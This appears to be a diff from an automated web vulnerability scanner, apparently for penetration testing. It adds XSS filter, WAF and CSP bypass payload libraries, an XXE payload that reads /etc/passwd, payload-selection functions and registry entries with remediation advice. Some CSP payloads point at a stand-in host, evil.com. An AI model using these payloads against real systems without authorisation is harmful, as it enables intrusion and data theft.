'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soap:Envelope><soap:Body>&xxe;</soap:Body></soap:Envelope>',
|
||||
],
|
||||
"api_rate_limiting": [], # Rapid request testing
|
||||
"excessive_data_exposure": [], # Response analysis
|
||||
|
||||
# ===== XSS BYPASS PAYLOAD LIBRARIES =====
|
||||
|
||||
"xss_bypass_event_handlers": [
|
||||
"<svg onload=alert(1)>",
|
||||
"<body onload=alert(1)>",
|
||||
"<input onfocus=alert(1) autofocus>",
|
||||
"<details open ontoggle=alert(1)>",
|
||||
"<marquee onstart=alert(1)>",
|
||||
"<video><source onerror=alert(1)>",
|
||||
"<audio src=x onerror=alert(1)>",
|
||||
"<select onfocus=alert(1) autofocus>",
|
||||
"<textarea onfocus=alert(1) autofocus>",
|
||||
"<input onblur=alert(1) autofocus><input autofocus>",
|
||||
"<div contenteditable onblur=alert(1)>x</div>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
|
||||
"<svg><set onbegin=alert(1) attributename=x to=1>",
|
||||
"<svg><animatetransform onbegin=alert(1) attributename=x>",
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
|
||||
"<input type=image src=x onerror=alert(1)>",
|
||||
"<object data=x onerror=alert(1)>",
|
||||
"<style>@keyframes x{}</style><xss style='animation-name:x' onanimationend=alert(1)>",
|
||||
"<xss onpointerover=alert(1)>hover</xss>",
|
||||
],
|
||||
"xss_bypass_custom_tags": [
|
||||
"<xss autofocus tabindex=1 onfocus=alert(1)></xss>",
|
||||
"<xss id=x onfocus=alert(1) tabindex=1>#x</xss>",
|
||||
"<xss onpointerover=alert(1)>hover me</xss>",
|
||||
"<xss onfocusin=alert(1) tabindex=1>focus me</xss>",
|
||||
"<custom autofocus tabindex=1 onfocus=alert(1)></custom>",
|
||||
"<math><mi onfocus=alert(1) tabindex=1>x</mi></math>",
|
||||
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
|
||||
"<svg><discard onbegin=alert(1)>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x>",
|
||||
],
|
||||
"xss_bypass_alert_blocked": [
|
||||
"<img src=x onerror=confirm(1)>",
|
||||
"<img src=x onerror=prompt(1)>",
|
||||
"<img src=x onerror=print()>",
|
||||
"<img src=x onerror=alert`1`>",
|
||||
"<img src=x onerror=window['al'+'ert'](1)>",
|
||||
"<img src=x onerror=self['alert'](1)>",
|
||||
"<img src=x onerror=top['alert'](1)>",
|
||||
"<img src=x onerror=eval(atob('YWxlcnQoMSk='))>",
|
||||
"<img src=x onerror=eval('\\141\\154\\145\\162\\164(1)')>",
|
||||
"<img src=x onerror=Function('alert(1)')()>",
|
||||
"<img src=x onerror=[].constructor.constructor('alert(1)')()>",
|
||||
"<img src=x onerror=setTimeout('alert(1)')>",
|
||||
],
|
||||
"xss_bypass_encoding": [
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href=javascript:alert(1)>click</a>",
|
||||
"<a href=java%0ascript:alert(1)>click</a>",
|
||||
"<a href=java%09script:alert(1)>click</a>",
|
||||
"<a href=java%0dscript:alert(1)>click</a>",
|
||||
"<svg onload=al\\u0065rt(1)>",
|
||||
"<img src=x onerror=al\\u0065rt(1)>",
|
||||
],
|
||||
"xss_bypass_waf": [
|
||||
"<Img Src=x OnError=alert(1)>",
|
||||
"<IMG SRC=x ONERROR=alert(1)>",
|
||||
"<img/src=x/onerror=alert(1)>",
|
||||
"<img\\tsrc=x\\tonerror=alert(1)>",
|
||||
"<img\\nsrc=x\\nonerror=alert(1)>",
|
||||
"<<script>alert(1)//<</script>",
|
||||
"<svg/onload=alert(1)>",
|
||||
"<body/onload=alert(1)>",
|
||||
"<input/onfocus=alert(1)/autofocus>",
|
||||
"<scr<script>ipt>alert(1)</scr</script>ipt>",
|
||||
],
|
||||
"xss_context_event_handler": [
|
||||
"alert(1)",
|
||||
"alert(document.domain)",
|
||||
"alert`1`",
|
||||
"confirm(1)",
|
||||
"prompt(1)",
|
||||
],
|
||||
"xss_context_svg": [
|
||||
"<svg onload=alert(1)>",
|
||||
"<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
|
||||
"<svg><set onbegin=alert(1) attributename=x to=1>",
|
||||
"<svg><animatetransform onbegin=alert(1) attributename=x>",
|
||||
"<svg><a><animate attributeName=href values=javascript:alert(1) /><text x=20 y=20>Click</text></a></svg>",
|
||||
],
|
||||
"xss_context_textarea": [
|
||||
"</textarea><script>alert(1)</script>",
|
||||
"</textarea><img src=x onerror=alert(1)>",
|
||||
"</textarea><svg onload=alert(1)>",
|
||||
],
|
||||
"xss_context_style": [
|
||||
"</style><script>alert(1)</script>",
|
||||
"</style><img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_csp_bypass": [
|
||||
"<script src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.min.js'></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>",
|
||||
"<base href='//evil.com/'>",
|
||||
"<script nonce='{{RANDOM_ID}}'>alert(1)</script>",
|
||||
"<link rel=prefetch href='//evil.com/'>",
|
||||
],
|
||||
"xss_dom_sources": [
|
||||
"#<img src=x onerror=alert(1)>",
|
||||
"#\"><img src=x onerror=alert(1)>",
|
||||
"javascript:alert(1)",
|
||||
"#'-alert(1)-'",
|
||||
"?default=<script>alert(1)</script>",
|
||||
"<img src=x onerror=alert(1)>",
|
||||
],
|
||||
"xss_canonical_accesskey": [
|
||||
"<input accesskey=x onclick=alert(1)>",
|
||||
"<a href=# accesskey=x onclick=alert(1)>press ALT+SHIFT+X</a>",
|
||||
],
|
||||
}
|
||||
|
||||
def get_context_payloads(self, context: str) -> List[str]:
|
||||
"""Get payloads for a detected injection context.
|
||||
|
||||
Supports enhanced context names from _detect_xss_context_enhanced():
|
||||
html_body, html_comment, textarea, title, noscript,
|
||||
attribute_double, attribute_single, attribute_unquoted,
|
||||
js_string_single, js_string_double, js_template_literal,
|
||||
href, script_src, event_handler, svg_context, mathml_context, style
|
||||
"""
|
||||
# Direct match first
|
||||
key = f"xss_context_{context}"
|
||||
if key in self.payload_libraries:
|
||||
return list(self.payload_libraries[key])
|
||||
|
||||
# Fallback mapping for enhanced context names
|
||||
_fallback = {
|
||||
"attribute_double": "attribute",
|
||||
"attribute_single": "attribute",
|
||||
"attribute_unquoted": "attribute",
|
||||
"js_string_single": "js_string",
|
||||
"js_string_double": "js_string",
|
||||
"js_template_literal": "template_literal",
|
||||
"html_comment": "html_body",
|
||||
"title": "textarea", # needs closing tag breakout like textarea
|
||||
"noscript": "textarea", # needs closing tag breakout
|
||||
"script_src": "href", # URL-like context
|
||||
"event_handler": "event_handler",
|
||||
"svg_context": "svg",
|
||||
"mathml_context": "html_body",
|
||||
"style": "style",
|
||||
}
|
||||
fallback_ctx = _fallback.get(context)
|
||||
if fallback_ctx:
|
||||
fb_key = f"xss_context_{fallback_ctx}"
|
||||
if fb_key in self.payload_libraries:
|
||||
return list(self.payload_libraries[fb_key])
|
||||
|
||||
# Ultimate fallback: top stored XSS payloads
|
||||
return list(self.payload_libraries.get("xss_stored", []))[:10]
|
||||
|
||||
def get_filter_bypass_payloads(self, filter_map: Dict[str, Any]) -> List[str]:
|
||||
"""Get bypass payloads based on what's blocked/allowed by filters.
|
||||
|
||||
filter_map keys:
|
||||
- allowed_chars: list of chars that pass through
|
||||
- blocked_chars: list of chars that are stripped/encoded
|
||||
- allowed_tags: list of HTML tags that survive
|
||||
- blocked_tags: list of HTML tags that are stripped
|
||||
- allowed_events: list of event handlers that survive
|
||||
- blocked_events: list of event handlers stripped
|
||||
- csp: CSP header value (or None)
|
||||
- waf_detected: bool
|
||||
"""
|
||||
payloads: List[str] = []
|
||||
allowed_chars = set(filter_map.get("allowed_chars", []))
|
||||
blocked_chars = set(filter_map.get("blocked_chars", []))
|
||||
allowed_tags = filter_map.get("allowed_tags", [])
|
||||
allowed_events = filter_map.get("allowed_events", [])
|
||||
waf = filter_map.get("waf_detected", False)
|
||||
|
||||
# If custom tags allowed, use them
|
||||
if allowed_tags:
|
||||
for tag in allowed_tags:
|
||||
for evt in (allowed_events or ["onfocus", "onload", "onerror"]):
|
||||
if tag in ("svg", "body", "math") and evt in ("onload",):
|
||||
payloads.append(f"<{tag} {evt}=alert(1)>")
|
||||
elif tag in ("img", "video", "audio", "source", "object", "input") and evt in ("onerror",):
|
||||
payloads.append(f"<{tag} src=x {evt}=alert(1)>")
|
||||
elif evt == "onfocus":
|
||||
payloads.append(f"<{tag} {evt}=alert(1) autofocus tabindex=1></{tag}>")
|
||||
elif evt == "onbegin":
|
||||
payloads.append(f"<svg><{tag} {evt}=alert(1)>")
|
||||
elif evt in ("onanimationend",):
|
||||
payloads.append(f"<style>@keyframes x{{}}</style><{tag} style='animation-name:x' {evt}=alert(1)>")
|
||||
else:
|
||||
payloads.append(f"<{tag} {evt}=alert(1)></{tag}>")
|
||||
|
||||
# Event handler bypass payloads
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_event_handlers", []))
|
||||
|
||||
# Custom tag bypass payloads
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_custom_tags", []))
|
||||
|
||||
# If parentheses are blocked, use backtick/encoding variants
|
||||
if "(" in blocked_chars or ")" in blocked_chars:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_alert_blocked", []))
|
||||
|
||||
# If angle brackets are partially blocked, try encoding
|
||||
if "<" in blocked_chars or ">" in blocked_chars:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_encoding", []))
|
||||
|
||||
# WAF-specific bypasses
|
||||
if waf:
|
||||
payloads.extend(self.payload_libraries.get("xss_bypass_waf", []))
|
||||
|
||||
# CSP bypass payloads
|
||||
if filter_map.get("csp"):
|
||||
payloads.extend(self.payload_libraries.get("xss_csp_bypass", []))
|
||||
|
||||
# Deduplicate while preserving order
|
||||
seen = set()
|
||||
unique: List[str] = []
|
||||
for p in payloads:
|
||||
if p not in seen:
|
||||
seen.add(p)
|
||||
unique.append(p)
|
||||
return unique
|
||||
|
||||
async def get_payloads(
|
||||
self,
|
||||
vuln_type: str,
|
||||
|
||||
@@ -11,23 +11,52 @@ from backend.core.vuln_engine.testers.injection import (
|
||||
SQLiErrorTester, SQLiUnionTester, SQLiBlindTester, SQLiTimeTester,
|
||||
CommandInjectionTester, SSTITester, NoSQLInjectionTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.advanced_injection import (
|
||||
LdapInjectionTester, XpathInjectionTester, GraphqlInjectionTester,
|
||||
CrlfInjectionTester, HeaderInjectionTester, EmailInjectionTester,
|
||||
ELInjectionTester, LogInjectionTester, HtmlInjectionTester,
|
||||
CsvInjectionTester, OrmInjectionTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.file_access import (
|
||||
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester
|
||||
LFITester, RFITester, PathTraversalTester, XXETester, FileUploadTester,
|
||||
ArbitraryFileReadTester, ArbitraryFileDeleteTester, ZipSlipTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.request_forgery import (
|
||||
SSRFTester, CSRFTester
|
||||
SSRFTester, CSRFTester, GraphqlIntrospectionTester, GraphqlDosTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.auth import (
|
||||
AuthBypassTester, JWTManipulationTester, SessionFixationTester
|
||||
AuthBypassTester, JWTManipulationTester, SessionFixationTester,
|
||||
WeakPasswordTester, DefaultCredentialsTester, TwoFactorBypassTester,
|
||||
OauthMisconfigTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.authorization import (
|
||||
IDORTester, BOLATester, PrivilegeEscalationTester
|
||||
IDORTester, BOLATester, PrivilegeEscalationTester,
|
||||
BflaTester, MassAssignmentTester, ForcedBrowsingTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.client_side import (
|
||||
CORSTester, ClickjackingTester, OpenRedirectTester
|
||||
CORSTester, ClickjackingTester, OpenRedirectTester,
|
||||
DomClobberingTester, PostMessageVulnTester, WebsocketHijackTester,
|
||||
PrototypePollutionTester, CssInjectionTester, TabnabbingTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.infrastructure import (
|
||||
SecurityHeadersTester, SSLTester, HTTPMethodsTester
|
||||
SecurityHeadersTester, SSLTester, HTTPMethodsTester,
|
||||
DirectoryListingTester, DebugModeTester, ExposedAdminPanelTester,
|
||||
ExposedApiDocsTester, InsecureCookieFlagsTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.logic import (
|
||||
RaceConditionTester, BusinessLogicTester, RateLimitBypassTester,
|
||||
ParameterPollutionTester, TypeJugglingTester, TimingAttackTester,
|
||||
HostHeaderInjectionTester, HttpSmugglingTester, CachePoisoningTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.data_exposure import (
|
||||
SensitiveDataExposureTester, InformationDisclosureTester,
|
||||
ApiKeyExposureTester, SourceCodeDisclosureTester,
|
||||
BackupFileExposureTester, VersionDisclosureTester
|
||||
)
|
||||
from backend.core.vuln_engine.testers.cloud_supply import (
|
||||
S3BucketMisconfigTester, CloudMetadataExposureTester,
|
||||
SubdomainTakeoverTester, VulnerableDependencyTester,
|
||||
ContainerEscapeTester, ServerlessMisconfigTester
|
||||
)
|
||||
|
||||
|
||||
@@ -323,11 +352,102 @@ class VulnerabilityRegistry:
|
||||
"description": "Flaw in application's business logic allowing unintended behavior.",
|
||||
"impact": "Varies based on specific flaw - could range from minor to critical impact.",
|
||||
"remediation": "1. Review business logic flows\n2. Implement comprehensive validation\n3. Add server-side checks for all rules\n4. Test edge cases and negative scenarios"
|
||||
}
|
||||
},
|
||||
|
||||
# ===== NEW TYPES (68 additional) =====
|
||||
|
||||
# Advanced Injection
|
||||
"ldap_injection": {"title": "LDAP Injection", "severity": "high", "cwe_id": "CWE-90", "description": "User input injected into LDAP queries allowing directory enumeration or auth bypass.", "impact": "Directory enumeration, authentication bypass, data extraction from LDAP stores.", "remediation": "1. Escape LDAP special characters\n2. Use parameterized LDAP queries\n3. Validate input against whitelist\n4. Apply least privilege to LDAP accounts"},
|
||||
"xpath_injection": {"title": "XPath Injection", "severity": "high", "cwe_id": "CWE-643", "description": "User input injected into XPath queries manipulating XML data retrieval.", "impact": "Extraction of XML data, authentication bypass via XPath condition manipulation.", "remediation": "1. Use parameterized XPath queries\n2. Validate and sanitize input\n3. Avoid string concatenation in XPath\n4. Limit XPath query privileges"},
|
||||
"graphql_injection": {"title": "GraphQL Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection attacks targeting GraphQL endpoints through malicious queries or variables.", "impact": "Schema exposure, unauthorized data access, denial of service via complex queries.", "remediation": "1. Disable introspection in production\n2. Implement query depth/complexity limits\n3. Use persisted queries\n4. Apply field-level authorization"},
|
||||
"crlf_injection": {"title": "CRLF Injection / HTTP Response Splitting", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of CRLF characters to manipulate HTTP response headers or split responses.", "impact": "HTTP header injection, session fixation via Set-Cookie, XSS via response splitting.", "remediation": "1. Strip \\r\\n from user input in headers\n2. Use framework header-setting functions\n3. Validate header values\n4. Implement WAF rules for CRLF patterns"},
|
||||
"header_injection": {"title": "HTTP Header Injection", "severity": "medium", "cwe_id": "CWE-113", "description": "User input reflected in HTTP headers enabling header manipulation.", "impact": "Password reset poisoning, cache poisoning, access control bypass via header manipulation.", "remediation": "1. Validate Host header against whitelist\n2. Don't use Host header for URL generation\n3. Strip CRLF from header values\n4. Use absolute URLs for sensitive operations"},
|
||||
"email_injection": {"title": "Email Header Injection", "severity": "medium", "cwe_id": "CWE-93", "description": "Injection of email headers through form fields that feed into mail functions.", "impact": "Spam relay, phishing via injected CC/BCC recipients, email content manipulation.", "remediation": "1. Validate email addresses strictly\n2. Strip CRLF from email inputs\n3. Use email library APIs not raw headers\n4. Implement rate limiting on email features"},
|
||||
"expression_language_injection": {"title": "Expression Language Injection", "severity": "critical", "cwe_id": "CWE-917", "description": "Injection of EL/SpEL/OGNL expressions evaluated server-side in Java applications.", "impact": "Remote code execution, server compromise, data exfiltration via expression evaluation.", "remediation": "1. Disable EL evaluation on user input\n2. Use strict sandboxing\n3. Update frameworks (Struts2 OGNL patches)\n4. Validate input before template rendering"},
|
||||
"log_injection": {"title": "Log Injection / Log4Shell", "severity": "high", "cwe_id": "CWE-117", "description": "Injection into application logs enabling log forging or JNDI-based RCE (Log4Shell).", "impact": "Log tampering, JNDI-based RCE (Log4Shell), log analysis tool exploitation.", "remediation": "1. Strip newlines from log input\n2. Update Log4j to 2.17+ (CVE-2021-44228)\n3. Disable JNDI lookups\n4. Use structured logging"},
|
||||
"html_injection": {"title": "HTML Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of HTML markup into web pages without script execution.", "impact": "Content spoofing, phishing form injection, defacement, link manipulation.", "remediation": "1. HTML-encode all user output\n2. Use Content-Security-Policy\n3. Implement output encoding libraries\n4. Sanitize HTML with whitelist approach"},
|
||||
"csv_injection": {"title": "CSV/Formula Injection", "severity": "medium", "cwe_id": "CWE-1236", "description": "Injection of spreadsheet formulas into data exported as CSV/Excel.", "impact": "Code execution when CSV opened in Excel, DDE attacks, data exfiltration via formulas.", "remediation": "1. Prefix cells starting with =,+,-,@ with single quote\n2. Sanitize formula characters\n3. Use safe CSV export libraries\n4. Warn users about untrusted CSV files"},
|
||||
"orm_injection": {"title": "ORM Injection", "severity": "high", "cwe_id": "CWE-89", "description": "Injection through ORM query builders via operator injection or raw query manipulation.", "impact": "Data extraction, authentication bypass through ORM filter manipulation.", "remediation": "1. Use ORM built-in parameter binding\n2. Avoid raw queries with user input\n3. Validate filter operators\n4. Use field-level whitelists"},
|
||||
|
||||
# XSS Advanced
|
||||
"blind_xss": {"title": "Blind Cross-Site Scripting", "severity": "high", "cwe_id": "CWE-79", "description": "XSS payload stored and executed in backend/admin context not visible to the attacker.", "impact": "Admin session hijacking, backend system compromise, persistent access to admin panels.", "remediation": "1. Sanitize all input regardless of display context\n2. Implement CSP on admin panels\n3. Use HttpOnly cookies\n4. Review admin panel input rendering"},
|
||||
"mutation_xss": {"title": "Mutation XSS (mXSS)", "severity": "high", "cwe_id": "CWE-79", "description": "XSS via browser HTML mutation where sanitized HTML changes to executable form after DOM processing.", "impact": "Bypasses HTML sanitizers, executes JavaScript through browser parsing quirks.", "remediation": "1. Update DOMPurify/sanitizers\n2. Use textContent not innerHTML\n3. Avoid innerHTML re-serialization\n4. Test with multiple browsers"},
|
||||
|
||||
# File Access Advanced
|
||||
"arbitrary_file_read": {"title": "Arbitrary File Read", "severity": "high", "cwe_id": "CWE-22", "description": "Reading arbitrary files via API or download endpoints outside intended scope.", "impact": "Access to credentials, configuration, source code, private keys.", "remediation": "1. Validate file paths against whitelist\n2. Use chroot/jail\n3. Implement proper access controls\n4. Avoid user input in file paths"},
|
||||
"arbitrary_file_delete": {"title": "Arbitrary File Delete", "severity": "high", "cwe_id": "CWE-22", "description": "Deleting arbitrary files through path traversal in delete operations.", "impact": "Denial of service, security bypass by deleting .htaccess/config, data destruction.", "remediation": "1. Validate file paths strictly\n2. Use indirect references\n3. Implement soft-delete\n4. Restrict delete operations to specific directories"},
|
||||
"zip_slip": {"title": "Zip Slip (Archive Path Traversal)", "severity": "high", "cwe_id": "CWE-22", "description": "Path traversal via crafted archive filenames writing files outside extraction directory.", "impact": "Arbitrary file write, web shell deployment, configuration overwrite.", "remediation": "1. Validate archive entry names\n2. Resolve and check extraction paths\n3. Use secure archive extraction libraries\n4. Extract to isolated directories"},
|
||||
|
||||
# Auth Advanced
|
||||
"weak_password": {"title": "Weak Password Policy", "severity": "medium", "cwe_id": "CWE-521", "description": "Application accepts weak passwords that can be easily guessed or brute-forced.", "impact": "Account compromise through password guessing, credential stuffing success.", "remediation": "1. Enforce minimum 8+ character passwords\n2. Check against breached password databases\n3. Implement password strength meter\n4. Follow NIST SP 800-63B guidelines"},
|
||||
"default_credentials": {"title": "Default Credentials", "severity": "critical", "cwe_id": "CWE-798", "description": "Application or service uses default factory credentials that haven't been changed.", "impact": "Complete unauthorized access to admin or management interfaces.", "remediation": "1. Force password change on first login\n2. Remove default accounts\n3. Implement strong default password generation\n4. Regular credential audits"},
|
||||
"brute_force": {"title": "Brute Force Vulnerability", "severity": "medium", "cwe_id": "CWE-307", "description": "Login endpoint lacks rate limiting or account lockout allowing unlimited password attempts.", "impact": "Account compromise through automated password guessing.", "remediation": "1. Implement account lockout after N failures\n2. Add rate limiting per IP and per account\n3. Implement CAPTCHA after failures\n4. Use progressive delays"},
|
||||
"two_factor_bypass": {"title": "Two-Factor Authentication Bypass", "severity": "high", "cwe_id": "CWE-287", "description": "Second authentication factor can be bypassed through implementation flaws.", "impact": "Account takeover even when 2FA is enabled, defeating the purpose of MFA.", "remediation": "1. Enforce 2FA check on all authenticated routes\n2. Use server-side session state for 2FA completion\n3. Rate limit code attempts\n4. Make codes single-use with short expiry"},
|
||||
"oauth_misconfiguration": {"title": "OAuth Misconfiguration", "severity": "high", "cwe_id": "CWE-601", "description": "OAuth implementation flaws allowing redirect URI manipulation, state bypass, or token theft.", "impact": "Account takeover via stolen OAuth tokens, cross-site request forgery.", "remediation": "1. Strictly validate redirect_uri\n2. Require and validate state parameter\n3. Use PKCE for public clients\n4. Validate all OAuth scopes"},
|
||||
|
||||
# Authorization Advanced
|
||||
"bfla": {"title": "Broken Function Level Authorization", "severity": "high", "cwe_id": "CWE-285", "description": "Admin API functions accessible to regular users without proper role checks.", "impact": "Privilege escalation to admin functionality, system configuration changes.", "remediation": "1. Implement role-based access control on all endpoints\n2. Deny by default\n3. Centralize authorization logic\n4. Audit all admin endpoints"},
|
||||
"mass_assignment": {"title": "Mass Assignment", "severity": "high", "cwe_id": "CWE-915", "description": "Application binds user-supplied data to internal model fields without filtering.", "impact": "Privilege escalation, data manipulation, bypassing business rules.", "remediation": "1. Use explicit field whitelists\n2. Implement DTOs for input\n3. Validate all bound fields\n4. Use strong parameter filtering"},
|
||||
"forced_browsing": {"title": "Forced Browsing / Broken Access Control", "severity": "medium", "cwe_id": "CWE-425", "description": "Direct URL access to restricted resources that should require authorization.", "impact": "Access to admin panels, sensitive files, debug interfaces, and internal tools.", "remediation": "1. Implement authentication on all protected routes\n2. Return 404 instead of 403 for sensitive paths\n3. Remove unnecessary files\n4. Use web server access controls"},
|
||||
|
||||
# Client-Side Advanced
|
||||
"dom_clobbering": {"title": "DOM Clobbering", "severity": "medium", "cwe_id": "CWE-79", "description": "HTML injection that overrides JavaScript DOM properties through named elements.", "impact": "JavaScript logic bypass, potential XSS through clobbered variables.", "remediation": "1. Use strict variable declarations (const/let)\n2. Avoid global variable references\n3. Use safe DOM APIs\n4. Sanitize HTML input"},
|
||||
"postmessage_vulnerability": {"title": "postMessage Vulnerability", "severity": "medium", "cwe_id": "CWE-346", "description": "postMessage handlers that don't validate message origin allowing cross-origin data injection.", "impact": "Cross-origin data injection, XSS via injected data, sensitive data exfiltration.", "remediation": "1. Always validate event.origin\n2. Validate message data structure\n3. Use specific target origins\n4. Minimize data sent via postMessage"},
|
||||
"websocket_hijacking": {"title": "Cross-Site WebSocket Hijacking", "severity": "high", "cwe_id": "CWE-1385", "description": "WebSocket endpoints accepting connections from arbitrary origins without validation.", "impact": "Real-time data theft, message injection, session hijacking via WebSocket.", "remediation": "1. Validate Origin header on WebSocket upgrade\n2. Require authentication per-message\n3. Implement CSRF protection for handshake\n4. Use WSS (encrypted)"},
|
||||
"prototype_pollution": {"title": "Prototype Pollution", "severity": "high", "cwe_id": "CWE-1321", "description": "Injection of properties into JavaScript Object.prototype through merge/extend operations.", "impact": "Authentication bypass, RCE via gadget chains, denial of service.", "remediation": "1. Freeze Object.prototype\n2. Sanitize __proto__ and constructor keys\n3. Use Map instead of plain objects\n4. Update vulnerable libraries"},
|
||||
"css_injection": {"title": "CSS Injection", "severity": "medium", "cwe_id": "CWE-79", "description": "Injection of CSS code through user input reflected in style contexts.", "impact": "Data exfiltration via CSS selectors, UI manipulation, phishing.", "remediation": "1. Sanitize CSS properties\n2. Use CSP style-src\n3. Avoid user input in style attributes\n4. Whitelist safe CSS properties"},
|
||||
"tabnabbing": {"title": "Reverse Tabnabbing", "severity": "low", "cwe_id": "CWE-1022", "description": "Links with target=_blank without rel=noopener allowing opener tab navigation.", "impact": "Phishing via original tab replacement with fake login page.", "remediation": "1. Add rel='noopener noreferrer' to target=_blank links\n2. Use frameworks that add it automatically\n3. Audit user-generated links"},
|
||||
|
||||
# Infrastructure Advanced
|
||||
"directory_listing": {"title": "Directory Listing Enabled", "severity": "low", "cwe_id": "CWE-548", "description": "Web server auto-indexing enabled exposing directory file structure.", "impact": "Exposure of file structure, sensitive files, backup files, and configuration.", "remediation": "1. Disable directory listing (Options -Indexes)\n2. Add index files to all directories\n3. Review web server configuration\n4. Use custom error pages"},
|
||||
"debug_mode": {"title": "Debug Mode Enabled", "severity": "high", "cwe_id": "CWE-489", "description": "Application running in debug/development mode in production.", "impact": "Source code exposure, interactive console access, credential disclosure.", "remediation": "1. Disable debug mode in production\n2. Use environment-specific configuration\n3. Implement custom error pages\n4. Remove debug endpoints"},
|
||||
"exposed_admin_panel": {"title": "Exposed Administration Panel", "severity": "medium", "cwe_id": "CWE-200", "description": "Admin panel accessible from public internet without IP restrictions.", "impact": "Brute force target, credential theft, administration access if default creds.", "remediation": "1. Restrict admin access by IP/VPN\n2. Use strong authentication + 2FA\n3. Change default admin paths\n4. Implement rate limiting"},
|
||||
"exposed_api_docs": {"title": "Exposed API Documentation", "severity": "low", "cwe_id": "CWE-200", "description": "API documentation (Swagger/OpenAPI/GraphQL playground) publicly accessible.", "impact": "Complete API endpoint mapping, parameter discovery, potential unauthorized access.", "remediation": "1. Disable API docs in production\n2. Require authentication for docs\n3. Disable GraphQL introspection\n4. Use API gateway access controls"},
|
||||
"insecure_cookie_flags": {"title": "Insecure Cookie Configuration", "severity": "medium", "cwe_id": "CWE-614", "description": "Session cookies missing security flags (Secure, HttpOnly, SameSite).", "impact": "Cookie theft via XSS (no HttpOnly), MITM (no Secure), CSRF (no SameSite).", "remediation": "1. Set HttpOnly on session cookies\n2. Set Secure flag on HTTPS sites\n3. Set SameSite=Lax or Strict\n4. Review all cookie configurations"},
|
||||
"http_smuggling": {"title": "HTTP Request Smuggling", "severity": "high", "cwe_id": "CWE-444", "description": "Discrepancy between front-end and back-end HTTP parsing enabling request smuggling.", "impact": "Cache poisoning, request hijacking, authentication bypass, response queue poisoning.", "remediation": "1. Use HTTP/2 end-to-end\n2. Normalize Content-Length/Transfer-Encoding\n3. Reject ambiguous requests\n4. Update proxy/server software"},
|
||||
"cache_poisoning": {"title": "Web Cache Poisoning", "severity": "high", "cwe_id": "CWE-444", "description": "Manipulation of cached responses via unkeyed inputs to serve malicious content.", "impact": "Mass XSS via cached responses, redirect poisoning, denial of service.", "remediation": "1. Include all inputs in cache key\n2. Validate unkeyed headers\n3. Use Vary header correctly\n4. Implement cache key normalization"},
|
||||
|
||||
# Logic & Data
|
||||
"rate_limit_bypass": {"title": "Rate Limit Bypass", "severity": "medium", "cwe_id": "CWE-770", "description": "Rate limiting can be bypassed through header manipulation or request variation.", "impact": "Enables brute force attacks, API abuse, and denial of service.", "remediation": "1. Rate limit by authenticated user, not just IP\n2. Don't trust X-Forwarded-For for rate limiting\n3. Implement at multiple layers\n4. Use sliding window algorithms"},
|
||||
"parameter_pollution": {"title": "HTTP Parameter Pollution", "severity": "medium", "cwe_id": "CWE-235", "description": "Duplicate parameters exploit parsing differences between front-end and back-end.", "impact": "WAF bypass, logic bypass, access control circumvention.", "remediation": "1. Normalize parameters server-side\n2. Reject duplicate parameters\n3. Use consistent parsing\n4. Test with duplicate params"},
|
||||
"type_juggling": {"title": "Type Juggling / Type Coercion", "severity": "high", "cwe_id": "CWE-843", "description": "Loose type comparison exploited to bypass authentication or security checks.", "impact": "Authentication bypass, security check circumvention via type confusion.", "remediation": "1. Use strict comparison (=== in PHP/JS)\n2. Validate input types\n3. Use strong typing\n4. Hash comparison with timing-safe functions"},
|
||||
"insecure_deserialization": {"title": "Insecure Deserialization", "severity": "critical", "cwe_id": "CWE-502", "description": "Untrusted data deserialized without validation enabling code execution.", "impact": "Remote code execution, denial of service, authentication bypass.", "remediation": "1. Don't deserialize untrusted data\n2. Use JSON instead of native serialization\n3. Implement integrity checks\n4. Restrict deserialization types"},
|
||||
"subdomain_takeover": {"title": "Subdomain Takeover", "severity": "high", "cwe_id": "CWE-284", "description": "Dangling DNS records pointing to unclaimed cloud resources.", "impact": "Domain impersonation, phishing, cookie theft, authentication bypass.", "remediation": "1. Audit DNS records regularly\n2. Remove dangling CNAME records\n3. Monitor cloud resource lifecycle\n4. Use DNS monitoring tools"},
|
||||
"host_header_injection": {"title": "Host Header Injection", "severity": "medium", "cwe_id": "CWE-644", "description": "Host header value used in URL generation enabling poisoning attacks.", "impact": "Password reset poisoning, cache poisoning, SSRF via Host header.", "remediation": "1. Validate Host against allowed values\n2. Use absolute URLs from configuration\n3. Don't use Host header for URL generation\n4. Implement ALLOWED_HOSTS"},
|
||||
"timing_attack": {"title": "Timing Attack", "severity": "medium", "cwe_id": "CWE-208", "description": "Response time variations leak information about valid usernames or secret values.", "impact": "Username enumeration, token/password character extraction.", "remediation": "1. Use constant-time comparison for secrets\n2. Normalize response times\n3. Add random delays\n4. Use same code path for valid/invalid input"},
|
||||
